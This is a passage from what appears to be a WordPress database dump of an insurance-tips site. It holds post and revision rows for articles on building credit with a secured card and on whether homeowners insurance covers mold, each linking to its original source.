and pockets for exact change and from the tickets you’d get for blowing through a toll gate if you don’t have cash on hand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://livingonthecheap.com/ways-to-save-money-on-road-trips/\">click here.</a></p>\n<!-- /wp:paragraph -->','13 Ways to Save Money on Road Trips','','inherit','closed','closed','','3611-revision-v1','','','2024-06-30 23:43:44','2024-06-30 23:43:44','',3611,'https://smartinsurance.tips/?p=4185',0,'revision','',0),(4092,1,'2024-05-20 04:33:46','2024-05-20 04:33:46','','Untitled-21','','inherit','closed','closed','','untitled-21-5','','','2024-05-20 04:33:46','2024-05-20 04:33:46','',0,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21.png',0,'attachment','image/png',0),(4186,1,'2024-06-30 23:47:27','2024-06-30 23:47:27','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4187,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-58-1024x1024.png\" alt=\"\" class=\"wp-image-4187\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Key takeaways</h2>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A secured credit card requires you to put down a deposit that will mitigate the risk that you will not make your payment</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>These cards typically come with low credit lines and high interest rates</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Once you use a secured card credit card to build up your credit, you could move up to an unsecured card that might offer a higher credit limit</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you have bad credit, you’re probably looking for ways to build your credit as quickly as possible. Using a secured credit card to build credit is something to consider.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Secured credit cards provide you with a small line of credit in exchange for an affordable, refundable security deposit. Secured cards are one of the best ways to build credit if you have a low credit score or a limited credit history. But you have to know how to use a secured credit card to build credit if you want to get the most out of these credit-boosting tools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How do you build credit using a secured card — and how quickly can you do it? Let’s take a look at how secured credit cards work, how you can use one to raise your credit score and how to choose the best secured credit card for your financial situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"what\">What is a secured credit card?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A secured credit card offers many of the benefits and protections of a standard credit card — but you have to put down a security deposit first. Why? Well, if you have poor credit or a limited credit history, lenders might wonder if you are going to be a risky borrower. Putting down a security deposit gives your lender some protection in case you default on your credit obligations. If you manage your line of credit responsibly, you’ll get your security deposit refunded in full.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How much will your security deposit be? It depends. Some secured credit cards allow you to open a line of credit after making a deposit of less than $50. However, most cards require you to match your credit line with an equivalent deposit — so if you want a $500 line of credit, for example, you’ll need to pay a $500 deposit. This is one factor to keep in mind as you decide which secured credit card is best for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People often use secured credit cards as a way to build their credit scores. In most cases, secured cards come with low credit limits and high interest rates. This makes it difficult to use secured credit cards to finance large purchases — and very expensive if you decide to carry a balance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"use\">How to use a secured credit card to build credit</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Do secured credit cards build credit? Yes, depending on how you use them. If you want to know how to build credit with a secured card, you’re going to need to understand the fundamentals of building good credit: making on-time payments, keeping your balances low and paying off your debts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Building credit with a secured credit card is all about practicing those three habits. Use your secured card to make small everyday purchases and pay your statement balance in full every month. Avoid maxing out your credit card and try to pay down any debts you had before you took out your secured card. The more work you put into actively building your credit, the faster you’ll achieve a good credit score.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"score\">How much will a secured credit card raise my score?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>How much will a secured credit card raise your score? While we can’t say for sure how much your credit score might improve, we can tell you that using a secured card can boost your credit score relatively quickly — think “under six months” — especially if you focus on the five factors that make up your credit score:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Payment history</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Credit utilization</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Length of credit history</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Credit mix</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>New credit</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you want to start building credit with a secured card, make on-time payments every month. Maintain a good credit utilization ratio by keeping your debts low and paying off your balances. Avoid unnecessary hard credit inquiries that can lower your credit score. As your credit improves, so will your length of credit history — and as you become eligible for more lines of credit, you’ll be able to build the credit mix that might someday help you earn a perfect credit score.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"upgrade\">When to upgrade to an unsecured credit card</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When should you switch from a secured credit card to an unsecured credit card? In some cases, your credit card issuer will automatically transition you to an unsecured credit card after you’ve proven you can use your secured credit card responsibly. If you have the Discover it® Secured Credit Card, for example, it’s possible to graduate to an unsecured Discover card with just seven months of good payment behavior. When a credit issuer upgrades you from a secured card to an unsecured card, your security deposit will be refunded — and you may even receive a higher line of credit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In other cases, you’ll need to close out your secured credit card before you can receive your security deposit back, and you may need to apply for an unsecured credit card on your own. Read the fine print before you apply for a secured credit card to learn exactly what the rules are regarding security deposit refunds and graduating to an unsecured card.<strong> </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your credit card issuer doesn’t automatically consider you for an unsecured credit card, how do you know when it’s time to apply for one on your own? Start by getting at least six months of positive credit habits under your belt. Check your credit score on a regular basis to ensure it’s moving in the right direction and review your credit report to make sure all of the information is accurate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your credit history has improved, it might be worth applying for one of the best credit cards for people with bad credit — or, depending on your new credit score, one of the best credit cards for people with fair credit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The bottom line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Building credit with a secured credit card is an important step in getting your finances back on track. Use these tips to help you establish a positive credit history, transition to an unsecured credit card and work your way toward all of the benefits that good credit has to offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/personal-finance/credit/build-credit-with-secured-credit-card/#upgrade\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Build Credit with a Secured Credit Card','','publish','closed','closed','','how-to-build-credit-with-a-secured-credit-card','','','2024-06-30 23:47:28','2024-06-30 23:47:28','',0,'https://smartinsurance.tips/?p=4186',0,'post','',0),(4187,1,'2024-06-30 23:45:55','2024-06-30 23:45:55','','Untitled-58','','inherit','closed','closed','','untitled-58','','','2024-06-30 23:45:55','2024-06-30 23:45:55','',4186,'http://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-58.png',0,'attachment','image/png',0),(4094,1,'2024-05-20 04:39:42','2024-05-20 04:39:42','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4095,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1-1024x1024.png\" alt=\"\" class=\"wp-image-4095\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether your homeowners insurance covers mold damage largely depends on the cause of the mold. If you find mold in your home, here are the options that may be available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator and other large appliances every five years.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.nerdwallet.com/article/insurance/does-homeowners-insurance-cover-mold\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Mold?','','publish','closed','closed','','does-homeowners-insurance-cover-mold','','','2024-05-20 04:39:44','2024-05-20 04:39:44','',0,'https://smartinsurance.tips/?p=4094',0,'post','',0),(4095,1,'2024-05-20 04:37:23','2024-05-20 04:37:23','','Untitled-21-1','','inherit','closed','closed','','untitled-21-1','','','2024-05-20 04:37:23','2024-05-20 04:37:23','',4094,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1.png',0,'attachment','image/png',0),(4096,1,'2024-05-20 04:39:42','2024-05-20 04:39:42','<!-- wp:paragraph -->\n<p>Most home insurance policies pay for mold only if it’s the result of a sudden, accidental event your policy covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4095,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-21-1-1024x1024.png\" alt=\"\" class=\"wp-image-4095\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><strong>Nerdy takeaways</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A homeowners policy usually pays for mold damage only if it’s caused by a covered issue such as a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance won’t pay to clean up mold from flooding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You can add coverage to your homeowners policy to pay for some mold damage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Whether your homeowners insurance covers mold damage largely depends on the cause of the mold. If you find mold in your home, here are the options that may be available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does home insurance cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance generally covers mold only when it\'s caused by a \"covered peril\" — an event your homeowners insurance policy will pay for, such as accidental water damage. These events must be sudden and accidental.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, if your washing machine suddenly springs a leak and black mold develops on the floor, a homeowners policy will likely pay to remove the mold. If the floor is damaged beyond repair, your policy may also pay to replace it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your homeowners insurance policy may cover mold damage due to other scenarios such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A broken water heater.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Water damage caused by extinguishing a fire.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A burst or frozen pipe.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know? </strong>Though your policy may cover mold damage from a broken appliance, it probably won’t pay to replace the appliance itself. Most insurers cover only the resulting water and mold damage, not the cause of the damage. If you want insurance for home systems and appliances, consider equipment breakdown coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance companies limit the amount they will pay for mold removal. So even if your insurer accepts your claim, you may still need to shoulder some of the costs, including your deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Confused about your coverage? Read your policy carefully or call your insurance agent to go over the details.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover mold?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance policies are designed to cover sudden, accidental damage, so they typically won’t cover mold caused by neglect or a lack of regular upkeep. This includes mold damage from:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Poorly sealed doors or windows.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A leaky faucet that you haven’t fixed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lack of ventilation in a moist room, like a bathroom.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Below are a few other common causes of mold damage that a standard home insurance policy usually won’t cover.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sump pump failure and water backup damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Say your sump pump dies, leaving your basement underwater, or a city sewer line backs up into your bathroom. Mold could grow easily in such situations, but standard home insurance policies usually won’t cover the cleanup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, many insurers offer sump pump and water backup coverage as an optional add-on. (See more on this below.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Flood damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners policies generally exclude flooding. In the insurance industry, flooding refers to scenarios that tend to affect multiple properties such as overflowing rivers, tidal surges or runoff from heavy rain. If you’re in an area at risk, consider buying separate flood insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, even if you have flood insurance, your policy may not cover mold damage. The country’s biggest flood insurance provider, the National Flood Insurance Program, covers mold damage only if you can\'t access your home after a flood.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mold damage coverage varies by the flood insurance policy. If you’re not sure what your policy includes, talk to your insurer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Other coverage options</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Though a standard home insurance policy doesn\'t usually cover the above situations, that doesn\'t mean you\'re out of luck. Below are other options your insurer may offer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sump pump failure and water backup coverage</strong> can pay for water and mold damage from a backed-up drain, broken sump pump or clogged sewer line. However, this coverage will likely not pay for gradual issues such as water leaking in through your home\'s foundation. It also won\'t cover issues like flooding caused by a rising river or lake near your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hidden water damage coverage</strong> pays for damage from leaks you can’t see, like a burst pipe behind a wall. It could also cover mold cleanup. However, not all companies sell this insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you file a mold claim?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Even if you think your insurer will pay for your mold damage, filing a claim isn’t always worth it. The average cost of mold remediation in the United States is $2,235, according to Angi, a home services website. If your homeowners insurance deductible is $2,000, your insurer would pay only $235 toward that average cost. And because filing a claim often leads to higher premiums, you could end up losing money in the end.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’ve got other damage besides mold, or a significant infestation that will cost a lot more than your deductible to clean up, filing a claim is more likely to be worth it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to file a mold claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold can start to form in as little as one day, so acting fast is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Stop the leak as soon as possible.</strong> If you have a water leak or burst pipe in your home, shut off the main water valve immediately. Make sure you know where the main water shut-off valve is so you aren\'t scrambling during an emergency. (Note that some shut-off valves are outside.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>File as soon as you can.</strong> Depending on your insurer, you may be able to file your claim online, through an app or by phone. The sooner you file, the sooner you can clean up the mess (and the less time mold will have to form).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Document the damage.</strong> Take photos and videos of mold and water damage you find. Make a list of all damaged items. Be as thorough and truthful as possible. False reporting, even if accidental, can work against your claim.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Clean up excess water, and dehumidify the area.</strong> Wipe up pools of water and use a dehumidifier or air conditioner to dry out the site. Place wet items outside in a secure area to dry. If you\'re having trouble cleaning up the water, consider hiring a professional. Your insurance agent may be able to help you find trusted water removal contractors in your area.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Make temporary repairs to prevent further damage.</strong> You don\'t want to make major fixes before filing your claim, but once you\'ve documented the damage, make temporary repairs to protect your home from further problems. For example, if your basement is flooded, you can remove wet carpeting. Keep receipts for all purchases related to cleanup and repairs.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to do if homeowners insurance won’t pay for your mold damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your insurance company denied your mold claim but you still think the damage should be covered, you can try appealing your claim. Learn how to dispute a home insurance claim settlement or denial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you know the mold was caused by something insurance won’t cover, you’ll be responsible for the cleanup. You may be able to get rid of small patches of mold yourself, but for bigger jobs, consider hiring a professional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make sure the contractor you choose is licensed and insured, and that they have previous experience with mold remediation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Stopping mold before it starts</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>These tips can help prevent mold from growing in your home:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Inspect your pipes, faucets and hoses regularly, and fix leaks right away.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Make sure gutters and downspouts direct rainwater away from your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keep humidity low in your house by using air conditioners and dehumidifiers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improve bathroom and kitchen ventilation by installing exhaust fans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Avoid putting carpet in areas at risk for collecting moisture, such as a basement or bathrooms.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Regularly inspect your roof for leaks and keep your gutters free of debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider replacing the hoses to your dishwasher, washing machine, refrigerator 